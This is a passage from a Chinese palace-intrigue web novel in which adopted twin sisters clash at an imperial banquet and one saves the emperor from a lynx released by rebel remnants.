她就是老天爷的女儿,养父母爱她,哥哥们爱她,世子爱她,王妃爱她,连太后娘娘都喜欢她。
她是第一侧妃,皇帝赐婚,哈哈哈哈!!
她飞黄腾达了。
“这个姑娘和裴维的女儿怎么这样相似?”庆元帝回头看裴贵妃。
沈霜云和沈婉音是双胞胎,虽然‘大小有别’,但相貌是极像的。
裴贵妃启唇,刚想回答。
沈婉音娇滴滴抢她的话,“回陛下,民女也是镇国公府丢失的千金,沈霜云是民女的姐姐。”
第28章 沈霜云:今日,我就要家丑外扬
裴贵妃闭嘴了。
晋王妃的脸色,有瞬间沉下,复又缓和。
楚清晏眉头拧起。
庆元帝嘴角下抿,但见太后笑得像个菊花似的,仿佛没觉得沈婉音插话有何不对。
他微微垂容,打了个哈哈,“哦,对了,朕想起来了,裴维当年的确是有一对儿双胞胎的女儿。”
说罢,也不提赐婚之事,直接挥手入席。
裴家公子们伴驾左右。
席间众宗室大臣们请安问礼后,各自坐下。
庆元帝宣布,“摆膳!”
谢夫人带着沈霜云坐回案间,内侍捧来珍馐美酒,又跟身旁贵妇们,小声介绍沈霜云,出言皆是,“这是我的女儿……”
王爷公候,推酒换盏。
公主郡主,来至太后身边服侍,沈婉音被挤回晋王府那边儿,她眼珠乱转,没去世子妃妾那桌儿,反而跑到楚清晏身后,挤走侍酒宫女。
“爷,奴奴伺候您用膳。”
她跪坐下来,娇滴滴捧酒。
楚清晏回眸,清雅淡笑,捻了下她的脸颊,随后,目光穿过人群,锁定在沈霜云身上。
他打量她,神色莫名。
久久不移。
片刻,舔了舔唇,大掌张握。
沈霜云坐得远,注意力又都在庆元帝身上,不曾注意。
一直关注他,眼珠都不措的沈婉音,却瞧得入心。
怎么回事?
沈霜云那个贱人,居然敢勾引世子爷?
那是她的男人!她的富贵!沈霜云,明明命运都调转了,世子怎么还会注意到她?难道,她和世子是天生的缘分?
不可能。
一个贱妾而已,就是肚皮争气,世子爷一见钟情的人是她,她天生美貌,聪明灵巧,谁会不爱她!
沈婉音气恼不已,内心隐隐有些慌。
她一直注视着沈霜云。
直到宾客用完膳,内侍捧来酥酪,众人开始谈笑。
太后招手,把沈婉音叫到跟前凑趣儿,又被她哄得哈哈大笑,竟颇为遗憾地问她,“婉儿,你这样活泼可爱的孩子,怎么没同你姐姐,一块儿回裴家去?”
沈氏商户,门第太低。
沈婉音仰光,心神猛然一动,提高声音道:“太后娘娘容禀。”
“自古以来,羊羔跪乳,乌鸦反哺,养父养母虽未生我,但抚养我长大,百般疼爱,万般怜惜,我为人女,怎舍得为了荣华富贵,抛弃他们!”
“姐姐天生理智一点,不像婉儿这么笨,不懂得权衡利弊,只想着亲情。”
沈霜云就是个嫌贫爱富,粗鄙下贱的东西,哪像她冰清玉洁,孝感动天。
世子爷看她,定然是她暗中勾引了!
虽然自己没看见。
但一定是。
她要在世子爷面前,扒掉沈霜云伪善的外皮,让天下人都知道,她内里是怎样的脏东西!
哈哈哈,这可是皇室家宴,来往者皆是权贵,坐实沈霜云抛家弃族,攀附权贵的罪。
裴家人都会厌她的。
说不定,万岁爷会下令惩罚她这不孝之人!
沈婉音想着,几乎要笑出声来,她攀附着太后的膝盖,怯怯地说:“唉,娘娘,您不知道。”
“原本,家里是准备送我回去的,爹娘都商量好了,只是姐姐实在太想,我也不好跟她抢,只能让给她了。”
“哦,竟是这样吗?”太后沉容。
大楚以孝治国。
老年人也更厌恶不孝之人。
周围宾客们,包括裴贵妃和裴家四个公子,都听见了沈婉音的话,他们心中各有想法。
裴照野立时想要替大姐姐解释。
裴寒声一把捂住他的嘴。
帝王跟前,裴照野不敢挣扎,气得去踩四哥哥的脚。
太后没注意到这些,她年纪大了,喜恶明显,直接唤道:“沈霜云,进前来。”
案中,沈霜云抿唇,起身,拾阶而上。
迎着权贵宾客们或鄙夷、或好奇、或猜忌,或玩笑的目光,甚至有人对着她指指点点。
沈婉音刚刚那些话。
无视救命之恩,乃不忠。
抛弃父母,此不孝。
欺压幼妹,为不仁。
爱慕权贵,是不义。
这些罪名,砸到身上,都够判个斩首了。
谢夫人担忧地看着她。
沈霜云走到太后身前,敛身行礼,“臣女拜见陛下,太后娘娘,贵妃娘娘……”
太后撇嘴。
裴贵妃未语。
庆元帝温声,“平身吧。”
“谢陛下。”沈霜云背挺得很直。
“沈霜云,婉儿刚刚说的话,你听见了吧?”太后问她。
“回娘娘,听见了。”
太后又道:“你可有何辩驳之言?”
沈霜云羽睫微颤,不曾回答,反而看向沈婉音,她道:“妹妹说些话,是什么意思?”
“当初你我谁回府,不是爹娘决定的吗?初时,你想回去,跟爹娘商量定了,后又突然反悔,哭闹着不愿前往,爹娘苦劝你两日未果。”
“方才推给我。”
“去留与否,我不曾有过一言。”
“如今,妹妹说这些话做什么?”
“是想害我吗?”
她神情淡淡,直接戳破沈婉音的心思。
沈婉音的脸色,瞬间红了。
在座宗室们眼里,也浮出几分调笑之意。
家丑不可外扬,沈霜云是不是好的,不可置否,可沈婉音没那么无辜,却是定然。
皇家宴前,大庭广众,说这些话里有话,含沙射影的东西,呵呵……
谁听不懂啊。
“谁要害你啊?我是看出你太想去了,所以谦让你的,你也没拒绝啊。”
沈婉音咬牙,“说到底,还是你去了国公府,做了千金小姐,这是事情,你否认不了。”
说罢,又见沈霜云启唇,赶紧抢话,“幸好现在,我遇见世子爷,要嫁人了,不需要在回去了。”
她堵住沈霜云那句,‘要不换回来吧’。
哼,这话噎她好几回了,她怎么会不防备?
她那么聪明。
沈霜云眉心微垂,听耳畔窃窃私语,看太后沉容不悦的模样。
她突然觉得,这是个千载难逢的机会。
大庭广众,帝王面前,她已经被沈婉音逼到不得不自证的地步,所以,无论她说出什么来。
都是无奈。
没人能用她家丑外扬,是为不孝来指责她。
洗清‘爱慕虚荣,抛家弃族’污点的机会,近在眼前。
“妹妹……”
沈霜云缓缓启唇,“我……”
真的要谢谢你啊。
第29章 沈婉音,闭上你的狗嘴
能否澄清事实?
裴家人会不会帮她?
应该不会吧,那……
沈霜云侧目回顾谢夫人。
谢夫人目露担忧,双手紧握桌案,似乎随时会起身。
裴照野也挣脱了裴寒声,咬牙切齿地瞪眼睛。
丸子头都直起来了。
沈霜云的心,安定下来。
她身后有人了。
惦记她呢!
“陛下,娘娘,掩瑕藏疾,穷不失义,为子女应守之意,家中诸事,霜云从不愿展露人前,然,事至如今,不得不言。”
沈霜云不急不缓,羽睫垂下。
似是羞愧,她没抱怨,仅是直诉,“今年三月十九日,镇国公府谴人至沈府,告知养父母,臣女和妹妹的身份。”
“臣女与妹妹,及笄之年,受父母教养,公府觉得,生恩不及养恩,又恐父母不舍,便言承担臣女和妹妹的嫁妆,仍让臣女二人,承欢养父母膝下。”
她不曾言说,镇国公府的初意,是不想要她们。
裴寂之神色晦暗。
耳边浮出沈霜云那句,“我亦想维护家中人……”
“养亲前往镇国公府,纠缠月余,商讨出留下一女,承欢膝下的主意。”
“初时,定下妹妹回去,后又改了,要送臣女。”
“臣女归府时,父亲叮嘱臣女,提携家人,匆忘重恩。”
“五日后,臣女养兄入宫为二等侍卫,后几日,酗酒赌博,被贬南门,养父震怒,携众当街辱骂臣女,忘恩负义,陷害兄长,令臣女跪回府中谢罪。”
“晋王妃寿宴,家人勒令臣女带妹妹参加。”
“妹妹跟世子一见钟情。”
“妹妹出嫁,养兄命臣女奉五千两嫁妆。”
“镇国公府为谢沈府养育臣女和妹妹,赠上两万两白银。”
“臣女归府,养父给了臣女二十两银子。”
不曾添油加醋,不带任何情绪。
甚至不曾指责控诉,沈霜云平平静静地把事情讲完。
众多宾客,鸦雀无声。
庆元帝笑容收敛。
裴贵妃拧起眉。
到是太后,依然把手搭在沈婉音肩上,神情不咸不淡,看不出喜怒。
沈霜云不徐不疾,目光清亮,“妹妹,我有一句虚言吗?”
沈婉音茫然,“那又怎么了?”
有什么不对吗?沈霜云就是家里的奴才,她的洗脚婢,理所应当替他们鞠躬尽瘁,死而后已。
提携兄长怎么了?骂她怎么了?给嫁妆怎么了?
应该的。
爹给她二十两都多了。
“姐姐,幼时,我们被扔到路边,眼看要冻死时,爹救了我们,养了我们十五年,养育之恩,救命之情。”
“把命给出去,都还不了。”
沈霜云抿唇,接下来的话,不该她说了。
世人总有种偏颇,本人口中诉出的委屈,格外廉价。
反而旁观者言,便更值得怜悯。
她偷偷瞅了眼谢夫人,不知她是否愿意,为她做这个‘旁观者’。
谢夫人犹豫。
“沈万里献女时,借养育之情,要盐引两万,等同卖女。”
庆元帝身侧。
裴寂之漠然启唇,深渊般的黑瞳,透出冷厉,他讽刺道:“两万盐引,价值十万雪花银。”
“你家的命,真值钱。”
裴寒声蓦然把视线转向他,握扇的手,紧紧绷住。
谢夫人眉目舒缓。
沈霜云微微启唇,出乎意料。
裴世子,居然会帮她?
裴寂之垂眸,冷淡避开她的视线。
他并非想帮,只是维护镇国公府的名誉罢了。
沈霜云是他裴家的大姑娘。
不是谁都能欺辱的。
“沈万里拿了裴家的盐引,裴家的银子,沈墨言做着我裴家引荐的官,借沈霜云攀附上来。”
“还要她报恩?”
“怎么报?要她刺杀我父,把镇国公爵位让给沈万里吗?”
宾客们瞬间哗然。
沈婉音娇颜上的得意,直接僵住,她全然不敢相信,裴寂之他,他怎么会替沈霜云说话!
那个凉薄阴沉,恶鬼一样的男人,前世,他明明从头到尾,冷眼旁观,任由她被裴九卿驱赶,被裴寒声算计!
她气不过,想偷镇国公的边防图给世子爷时……
裴寂之用鞭子抽她,差点把她杀了。
那就是个冷血无情,没有半点手足情义的男人,他怎么会为沈霜云站出来!
凭什么?
谢氏这样,裴照野这样,裴寂之又这样!
不公平。
他们偏心!
沈婉音眼泪都快掉下来了。
一副楚楚可怜的样子。
这时,太后突然开口,“好了,也不是大不了的事儿,小姑娘家家吵嘴而已,寂之一个大男人,就别插手了。”
“你退下吧。”
她朝沈霜云挥手。
沈霜云看向裴寂之一眼,见他欠身向太后行礼,便轻声,“是。”
随后,坐回谢夫人身边。
“别怕,没事了。”谢夫人安慰的轻拍她手。
庆元帝一直冷眼静看,直到太后出言相护,他眼里蓦然浮出抹不悦,冷冷撇向晋王。
旋即目光,扫过依然攀在太后膝前的沈婉音。
他冷声,“孝悌忠信,自是应当,长幼有序,也是天理。”
“长兄如父,长姐如母,小沈氏不修口德,任意攀咬,今日教训,当谨记心中。”
不修口德。
任意攀咬。
庆元帝的两个评价,直接让沈婉音软了身子,她的眼泪泉涌般喷出来,害怕得整个人都打哆嗦。
杏眸盈盈,盼顾求救,“太,太后娘娘,爷……”
“皇帝。”太后沉脸,“小姑娘年幼,伴几句嘴,何必上纲上线,婉儿也是替父母抱不平,纵有些言语过当,那是孝心可嘉。”
说罢,没等庆元帝反应,便拍了拍沈婉音的手,看不出情绪的吩咐,“婉儿,不用陪着哀家了,去找清晏吧。”
“是,娘娘,婉儿告退。”
沈婉音小声,膝行退后,小心翼翼回至晋王府席间。
姐妹俩都离开,庆元帝也未在言语。
靖王、直王等人插科打诨,端午家宴的气氛,重新热闹起来。
沈婉音跪坐在晋王妃身后,哭哭啼啼地抹眼泪,委屈万分的拽她衣袖,撒娇嘟囔道:“母妃,儿媳好害怕呀,万岁爷也太凶了,儿媳都没说什么……”
“你闭嘴!”
晋王妃低吼,回身打掉她的手,气急败坏道:“贱人,闭上你的狗嘴,谁是你母妃?”
第30章 多谢世子爷仗义相助
晋王妃死死掐着沈婉音的手。
她细腻的胳膊上,浮出抹明显的红痕。
沈婉音难以置信,“母妃,你,你这是做什么?”
爷跟她一见钟情,应下纳她做侧妃后,带她去过晋王府,王妃待她很慈祥,送她见面礼,带她入宫,替她在太后面前讨喜……
比前世谢氏贱人好上几百倍!
怎么突然变脸了?
“闭嘴,都跟你说了,不要叫我母妃!区区贱妾,你也配?”晋王妃厉声。
沈婉音嘴甜貌美,对儿子大业有助,又讨太后欢心,她也就勉强喜欢了,可如今!!
“你在陛下面前,丢了这么大的人,得了‘不修口德’的评语,还想给我儿做侧妃?”
“白日做梦!”
“啊?母妃,我……”沈婉音瞠目结舌,眼眶泛红,她回头求救,“爷,你看看母妃~”
“母妃。”楚清晏淡声,伸手把沈婉音拉出晋王妃的钳制,他的大掌,抚在她白嫩胳膊上,被王妃掐出的红痕。
指尖用力。
“嘶~”沈婉音痛呼,缩了缩肩。
楚清晏眸中浮出抹暴虐,声调却温文,“母妃,皇祖母和皇伯父当面,当谨言慎行,莫要吵闹。”
“婉音之事,儿子自有安排。”
“呃!”晋王妃看着儿子的模样,似有胆怯,僵硬地道:“好,母妃知道了。”
但,小贱人!
没进门的,就勾得清晏偏向她。
沈婉音,你等着,本王妃饶不了你。
晋王妃咬牙切齿。
沈婉音泪眼朦胧,胳膊像要被捏断般,又不敢躲,娇娇怯怯的膝行到楚清晏身后,“爷,奴奴是不是给您惹祸了?”
“您生气了嘛,奴奴不是故意的,爷,就是您刚刚一直看着奴奴的姐姐,奴奴好嫉妒。”
“奴奴好怕失去爷,真的太怕了,才一时失了分寸。”
“爷,您罚奴奴吧。”
楚清晏抬眉,看她梨花带雨的娇颜,唇边勾出抹笑,“婉音,你自有你的好处,不用跟你姐姐比。”
“也别介意母妃的话,你是我的人,爷疼爱你,不会不要你的。”
只是,庆元帝给了评价,第一侧妃的位置,不会有了,甚至未必当得成侧妃。
这话,到不用说了。
“呜呜呜,爷,你对奴奴太好了,奴奴不知如何感激。”沈婉音娇娇轻泣。
把身子偎进楚清晏怀里。
楚清晏淡笑,大掌掐着沈婉音的腰枝,目光却追逐向,安静坐在谢夫人身边的沈霜云。
他眼神晦莫,誓在必得。
沈婉音被他搂的生疼,腰像要断掉般,却也不敢反抗,委委屈屈的缩着。
——
皇室家宴,热热闹闹。
所有人都忘了刚刚的插曲,欢声笑语,用完膳食。
晋王大笑,“母后,此番佳节,儿臣搜罗了千盏花灯,全都安置在御花园,请母后赏个脸儿。”
“好好好。”太后眉开眼笑。
径自起身。
她身侧,妃子公主赶紧搀扶她。
庆元帝面无表情的起身,裴贵妃和宗室宾客等人,或是坐轿,或是步行,俱都前往御花园。
天色己晚,圆月升起。
御花园里百花争艳,千盏华灯堆磊有致,齐放异彩,尤其是朱栏碧砌间,悬着的那盏鎏金琉璃宫灯。
那灯极大,足有两人高,灯面绘四季花鸟,内里烛火透过薄如蝉翼的娟纱,将整片太液映的流金烁彩。
湖光和月光交织,恍若银河倾落人间。
晋王陪在太后身边,笑着炫耀,“母后,这是儿臣特意替您制的,为了这些,儿子可是跑了好些地方。”
“我儿孝顺。”太后喜笑颜开。
庆元帝坠在两人身后,背手而立,像个冤种一样。
沈霜云一双眼睛,紧紧盯着庆元帝的背影,脚步不由自主的加快。
前世,也是花灯佳节,楚清晏进宫赴宴,三天没出来,京中戒严,兵马司封城。
晋王府一众女眷,全被圈在后院,惶恐不安,三日后,晋王等人才从宫中放出来。
沈霜云小心探听,知道原来花灯佳节,庆元帝在御花园赏灯时,被野兽冲撞,受伤严重。
剩下的,她探听不到了。
今生,沈霜云想要这个救驾之功。
冲撞庆元帝的野兽是什么?御花园赏灯,怎么会冒出来野兽?贸然去救驾,会不会直接被咬死?
沈霜云不知道。
应该很危险,庆元帝皇帝之尊,都受了重伤,但,反正没死,沈霜云觉得,她有机会。
她一直默默地靠近庆元帝,都忘了给裴寂之道个谢。
但……
裴寂之没忘。
他回眸,拧眉看着一直往庆元帝身边凑的沈霜云,眸底有道凌厉的光芒闪过。
他停下脚步。
裴寂之是庆元帝的近卫,他停往不动,沈霜云自然而然地经过他,被他一把握住手腕。
沈霜云一惊,抬头望他。
裴寂之俯视,神情淡漠。
沈霜云杏眸微转,没有问话,反而敛了敛身,谢道:“刚刚太后当前,多谢世子爷仗义相助。”
“霜云不盛感激。”
裴寂之一怔,松开了手。
他和沈霜云几次相见,都是针锋相对,不欢而散,不曾这般心平气和过。
“不必,我本意不是帮你,只是不想坏了镇国公府的名声。”
沈婉音那番言语,也关联他镇国公府。
好像他父亲仗势欺人,抢人骨肉似的。
“凡人论迹不论心,论心世上无完人,世子之言,解霜云之围,乃是事实,要谢的。”
沈霜云屈膝。
裴寂之眉头皱起,侧身避让。
沈霜云满心都是庆元帝,道完了谢,又见他让出路,忙往前走。
裴寂之恍惚,须臾又唤她,“沈霜云,我警告过你,进宫需谨言慎行,你当安分守己,随侍母亲身侧,避让尊者,别向陛下献媚……”
她要干什么?
想行刺不成?
想起沈婉音和楚清晏的瓜葛,他心中凛然,然而,沈霜云脚步飞快,言语间,已经走到庆元帝身后。
裴寂之瞳孔微微一缩,大步欲上前。
庆元帝身侧,一株两人合抱的树上,黑呼呼跃下一大兽,直奔他面门而来。
雪亮爪子,抓向他脖颈。
“护驾!!”裴寂之大喝,大步上前。
沈霜云飞扑那大兽。
第31章 沈霜云救驾了
千盏花灯,把御花园照得亮如白昼。
沈霜云清楚看见,扑下来的大兽是什么!
那是个体型健硕,约一米多高的猫型兽类,浑身覆满灰褐色的厚密短毛,毛间点缀黑褐色的斑点纹路。
耳朵极尖,有簇醒目的黑色笔毛,脸颊两侧的灰白色长毛,如络腮胡般蓬松垂下。
花灯照映里,琥珀色的吊晴冷冽锐利,瞳孔缩成细线,透着兽类的野性和嗜血。
竟然是个成年的猞猁!
听闻,愕川今年献了几只成年猞猁进宫,养在百兽园里,有驯兽师看管,怎么会跑出来?
沈霜云心中疑惑一闪而逝,身体本能,让她两步跑到庆元帝身前,口中喊着,“护驾!”
身子将其撞向裴贵妃。
慌乱中,裴贵妃本能扶住帝王。
沈霜云用身体惯性,撞向半空中的猞猁。
那是一只膘肥体壮,足有六十多斤的成年野兽,但,沈霜云也有八十来斤,自幼干惯粗活。
瘦归瘦,力气是有的。
猞猁身处半空,无处借力,竟被她用蛮力撞出两米远,厚厚爪垫触及草皮,它兽瞳竖成线,调转目光,扑向沈霜云。
沈霜云被狗咬过,知晓跑不过,挥胳膊狠狠锤向它腰。
猞猁的利爪,划破沈霜云的腰侧。
沈霜云的手,薅住它的耳朵。
忍痛用力,把它掀翻在地,同时喊道:“救命,救命……”
彼时,庆元帝早在裴家兄弟和侍卫们的保护下撤离,宗室贵亲们,也自有人护卫,只有沈霜云和那猞猁间,空出一场白地来。
猞猁弓背,毛发竖起。
沈霜云寒毛竖起,腰身鲜血泊泊流下,疼得眼前发黑。
她可能撑不过了。
但,下一秒,剑芒寒光,从眼前闪过,裴寂之高大身影,笼罩住沈霜云,猞猁自草从跃起,被他一剑捅个对穿。
鲜血洒下,湿淋绿草。
“陛下,臣有罪。”
裴寂之沉声。
御花园里出现猛兽,必有原故,此番宫中护卫,虽非他安排。
但他为皇帝近卫,也有责任。
庆元帝被沈霜云撞得,浑身都疼,强撑着口气,厉声道:“裴卿,此事不与你有关,朕有令,即刻封闭宫门,任何人不得出入,彻查此兽来由。”
“臣领旨。”裴寂之欠身,目光扫向在场宗室们,“只是,诸位大人……”
“朕受惊,诸位爱卿陪朕吧。”庆元帝俯视,将御花园里诸人神色,尽收眼底。
晋王总算缓过神来,如惊弓之鸟,凑到太后身前,哆哆嗦嗦,语不成声,“母后,我……”
“臣弟遵旨。”宗室王爷们忙表忠心,躬身领命。
沈霜云眼前越来越花,身子晃了晃。
谢夫人心惊胆战,忍着猞猁尸身的血腥气,跑上前扶住她,心惊胆战地颤声,“霜云,你怎么样?”
“大姐姐。”
裴照野惊呼。
庆元帝怒意被打断,看了沈霜云一眼,神色缓和些许,“沉壁,你把沈姑娘带去锦绣宫,传太医好生医治。”
“裴卿,随朕前去养心殿,余者,九卿,你将其安置于玉佛殿里。”
“是。”
裴九卿领命。
庆元帝坐上轿辇,起驾离开。
裴寂之和裴寒声跟随,临走前,裴寂之回头,深深看了脸色苍白的沈霜云一眼。
眸色晦暗繁芜,像是要把她的灵魂挖出来。
“诸位大人,请~”
裴九卿行至宗室贵人跟前,艳丽容颜,水波不兴。
宗室勋贵们心里暗叫倒霉,惶恐不已,老老实实去往玉佛殿了。
“母后!”晋王扒着太后胳膊。
“阳平,你和清晏,陪哀家回慈安宫吧。”太后出声。
带着晋王和楚清晏离开。
裴九卿没有阻止,只带着宗室和晋王妃等人,将他们安置在玉佛宫。
——
锦绣宫里。
沈霜云服下太医开的药,神思有些昏沉。
“睡吧,我陪着你。”
谢夫人坐到榻前,低声安慰。
沈霜云腰上疼得厉害,额头也有些发热,却努力睁开眼睛,“母亲,陛,陛下如何了?”
前世,庆元帝被猞猁扑个正着,抓伤面孔,又挨了两下咬,伤得很严重,今生!
她救驾成功了吧?
“陛下没事,很安全。”谢夫人看着她苍白的面容,有些心疼。
她替孩子抿了抿发,“你大哥他们会处理这事的,你不要担心,歇了吧。”
沈霜云缓缓嘘出口气,阖上眼睛。
太医开的药里有催眠的,她很快熟睡。
帐外,裴贵妃静静立在那里,沉默不语。
“娘娘,今日,霜云立下大功,她救了御驾,是咱们镇国公府的功臣。”谢夫人回眸,郑重出声。
裴贵妃无子,镇国公府的兴衰,全仰赖在庆元帝身上。
他之安危,关乎裴氏性命。
裴贵妃沉默,她垂下眼帘,神色极为复杂,许久许久,她迟疑道:“本宫知道。”
——
皇宫锁门,京城戒严。
官员们风声鹤唳,百姓们草木皆兵。
街头巷尾,都有重兵把守,直到两天后,裴寂之亲自率兵,一天内连续抄了六位官员的府袛。
城门,终于打开。
玉佛宫里‘伴驾’的宗室们,也陆续被放出来了。
包括沈婉音。
但晋王和楚清晏仍在慈安宫中,晋王妃无心管她,一辆粉盖小车,把沈婉音送回沈府。
沈万里和周氏知她回来,鞋都顾不上穿,飞奔来至。
端午佳节那日,他们在宫外守着,谁知半夜,突然来了大批侍卫,直接将他们按住,厉声审问。
闪烁寒光的剑抵到脖子上,连连质问,“你们是何人?为何守在宫门口?有何歹意?”
沈家人吓得魂飞魄散,周氏都快昏死过去了。
还是沈宁川机灵,提起晋王府和沈墨言,才得脱身,他们战战兢兢,回到府里,忐忑候着。
直到沈婉音回来。
“婉儿,我的孩子,宫里到底怎么了?可吓死娘了。”周氏揽着她,脸色煞白,上下打量。
沈婉音解下楚清晏给她的披风,眉眼间,是掩不住的幸灾乐祸,“娘,宫里出事了。”
“陛下遇袭,受了很严重的伤,裴寂之等人护卫不利,要被问罪了!”
“还有姐姐,她也在场,肚子都被掏开,好像宫胞受伤,生不了孩子了……”
第32章 我做主,霜云的救驾之功归我了
御花园赏灯,沈婉音没去,庆元帝金口玉言,她‘不修口德’。
楚清晏让她低调。
晋王府伴驾御花园时,她和晋王府的侧妃等人,被打发到储秀宫候着,宫中出事后,又被带到玉佛宫看守。
打探着的消息,半真半假,夸大其词!
沈婉音眼睛直发亮,她兴奋道:“爹,娘,陛下那么大岁数了,受重伤的话,肯定治不好,他没儿子,就要过继我们爷!”
“到时候,爹,我就是贵妃了。”
“天啊,贵妃,贵妃!”沈万里捂住胸口,激动得都要喘不上气了,他握住养的胳膊,一叠连声地道:“婉音啊,我的乖闺女,太争气,你可太争气了。”
“你真是爹的好孩子,是咱们家的骄傲。”
沈宁川和沈今安也兴奋不已。
周氏略有犹豫,“婉音,你说霜云伤了宫胞,怎么回事?没防碍性命吧?”
想起前几次见面,大女儿神色淡淡的样子,她心里别扭。
“好像没死。”沈婉音嗤声,又见周氏神色复杂,想着在家人面前,还是应该表达的大度善良点。
她是胜利者嘛。
从容。
要从容!
她得意,轻蔑又怜悯地道:“娘,你放心吧,我知道,你和爹也是很关心姐姐的,她是我的亲姐姐,我不会不管她。”
“她要是成了残废,不算个女人,被镇国公府驱赶的话。”
“我愿意原谅她的过错,接纳她回咱们家,或许,跟我进宫做个宫女也行。”
“平时就伺候我,梳头洗脚都好。”
“唉,我可太委屈了,娘,你都不知道,姐姐在宫里,差点把我害了,我还能原谅她。”
“这都是为了孝顺你们。”
沈今安大惊,心疼问道:“什么害了?霜云那死丫头,在宫里对你做了什么?”
“就是我替爹娘诉了诉委屈,姐姐就仗着裴贵妃欺负我……”沈婉音瘪嘴,楚楚可怜,把事情说了。
沈今安气得脸红脖子粗,大骂道:“好个小畜生,怪不得会开肠破肚,真是活该。”
沈家人也都怒气冲天,七嘴八舌地诅咒。
沈婉音听得顺耳,故作大度地道:“好了好了,爹,三哥,姐姐已经遭了天谴,我不怪她了。”
“我们婉音,心胸宽阔。”沈万里夸她。
沈今安频频点头。
沈宁川拧眉,心里有些埋怨婉音不会看场合,在陛下面前乱说,但霜云也不懂事。
婉音就是心直口快的秉性,没有恶意,哪怕说错了。
她为什么不能包容?
私下解释几句就好了,做甚当面给婉音难看?
还是蠢笨,不顾大局,只晓得和婉音争风吃醋,怪不得爹娘不喜欢她。
格局就小。
“哎呦,娘的乖乖,可是受委屈了。”周氏心疼地搂住沈婉音,连声劝她,把心思那一丝丝的别扭。
忘到天边。
——
宫中,养心殿。
庆元帝侧卧龙榻,目光环视。
他脸色微白。
御花园里,沈霜云把他撞开那下,让他崴着了脚,不算严重,然六十多岁的人了,老胳膊老腿儿。
也不好受。
“万岁,猛兽院总管李德禄已然招认,是户部侍郎白喻找到他全家,用其性命威胁……”
裴寂之单膝跪地,沉声禀报。
“臣也审问,涉案八户,共一百三十七日,皆都招认,俱为厉王残部。”裴九卿垂头。
厉王,庆元帝同父异母的弟弟,十一年前造反之人。
太子是他亲手所杀。
镇国公府也是被他的部队攻破,白氏之死,沈霜云和沈婉音丢失,厉王乃是罪首。
“厉王,阴魂不散!”庆元帝半阖的眼眸,蓦然张开,眼里迸出恨意,猛然拍案。
“嘶!”
他抻着脚,痛呼出声。
“请陛下保重龙体。”裴九卿忙道。
庆元帝摆手感叹,“十年前,朕尚能跨马持弓,如今,真是老了,被撞一下就起不了身,看来朕……”
”的确该考虑一下继承者。”
裴寂之寒渊般的瞳仁里,蓦地透出锋芒。
他沉下垂眉。
裴九卿心中,却是深深的后怕。
只是被沈霜云撞了一下,陛下就成了这样,要真被六十多斤的猞猁扑实,面门来几爪子。
陛下能不能熬过去?
要是当场驾崩,他们裴家就完了!
他们暗中扶持的宗室小王爷刚满十四。
国赖长君,陛下得在支持十年。
幸好霜云及时……
裴九卿第一次庆幸,父亲把沈霜云接回来了。
裴寂之却觉得,沈霜云形迹可疑。
庆元帝感慨完了,又正色吩咐,“厉王已然服诛十一年,仍有残党埋伏朝中,裴卿,你二人要共理此事,一举将其诛灭。”
“是。”
两人领命。
——
时间飞快流逝,转眼,沈霜云腰间的伤结疤了。
在榻里躺了几天,身子都快锈住了,在太医宣布,她能走动后,沈霜云禀明裴贵妃,带着宫女出去。
她没走远,只在锦绣宫附近,沿着宫道活动。
远远的,来了群侍卫。
沈霜云和宫女没在意,可侍卫中的一人,突然停下,片刻,离开队伍走了过来。
“霜云,你真是太不像话了。”
一声叹息教训,迎面扑来。
沈霜云抬眸。
沈墨言身穿飞鱼服,腰系绣春刀,威武神气,立她面前。
真是晦气,出门没看黄历。
怎么遇着他了?
沈霜云攒眉,平静道:“大哥,怎么不去当职?”
“我可是世子爷推荐的人,这些小差事,想做就做,不想做就丢给旁人,算得了什么?”
沈墨言扬眉,意气风发地数落,“还得是婉音有本事,一下就把我举荐到东暖阁了。”
“哪像你,磨磨蹭蹭,害我挨打。”
沈霜云淡声,“那大哥当新差时,记得不要饮酒耍钱了。”
沈墨言的脸,瞬间沉下来,像是要骂人,却又强行忍住,“你笨嘴拙腮的,什么时候能跟婉音学学,把话说得好听点。”
“你干的那些错事,我都知道了,你在御前跟婉音起争执了,甚至说了咱们家的坏话,对吧?”
“简直是胡闹!”
“跟婉音争风吃醋,也要有点分寸,轻重缓急都分不清,真是蠢得厉害,幸好你替咱们府里救了御驾,勉强算有点功劳了。”
“这样吧,我定一下,你用救驾之功,先替我讨个正经官职,我要进御林军,在给婉音求下御旨赐婚,给世子爷当个平妻。”
“你在陛下面前胡言乱语,害得婉音被骂,这是你欠她的!”
“晓得吗?”
沈霜云心里冷笑,启唇刚要回话。
突地!
“晓得个屁!”
一道暴躁的声音传来。
第33章 沈霜云,你要把心放正
“你家的救驾之功?”
“给你讨官职?你多大的脸啊,长出这么臭的嘴!!”
宫道尽头,裴九卿暴声,浑身上下的怒火气焰,让他整个人都显得大了一圈。
头发都快竖起来了,他大步流星上前,“沈墨言是吧?”
“你认字吗?恬不知耻四字,知道怎么写吗?”
裴寂之淡漠上前。
身后,还跟着大群侍卫和太监,都是手捧锦盒。
“四公子。”
沈霜云微微欠身。
裴九卿拧眉,别扭地扶了她一把,“行了,你身上有伤,自家兄妹,不用虚礼。”
沈霜云眉心一动,片刻,小声道:“是,二哥哥。”
裴寂之目光沉下。
裴九卿身体僵住,却没斥责,反而站到她身前,挡住沈墨言的视线,“沈侍卫,你算什么东西?”
“霜云是镇国公府的姑娘,你用什么身份命令她?”
“御林军,平妻?”
“别笑掉老子的大牙了。”
“呃,这……”沈墨言噎声,他是被裴九卿拿酒壶砸过脸的人,知道他脾气有多坏,不敢反驳,把目光递向沈霜云。
示意她开口。
沈霜云视若无睹,走到裴寂之跟前,“世子安好。”
裴寂之颔首。
沈墨言的眼睛蓦然瞪大,他紧紧咬牙,腮帮子的肌肉鼓起来。
沈霜云,这是干什么?
见了裴世子,就不理自己这个哥哥了是吧?姓裴的能比他重要?
果然啊,婉音说得没错,霜云的确太势利眼了。
沈墨言气的发抖,可脑中不知为何,突然浮现出刚刚裴九卿扶住她的画面。
是顾及沈霜云的伤势吗?
他的表情僵硬。
霜云爱做针线,幼时不熟练,经常受伤,有回三弟胡闹,拿她的百荷图,要扔到水里,比比跟真荷花有什么区别。
霜云不让,两人争执起来,三弟用针扎她,霜云就哭哭啼啼来找他告状。
他指责霜云‘不大度,太小性,绣了物件,就想卖银子,都不顾及哥哥……’
霜云哭着跑了。
后来,他好像听谁说过,三弟下手太狠,把整根针花针,都扎进霜云的胳膊里了,是拿剪刀挑出来的,霜云仿佛还发了热。
那时,他随耳听了,从未往心里去。
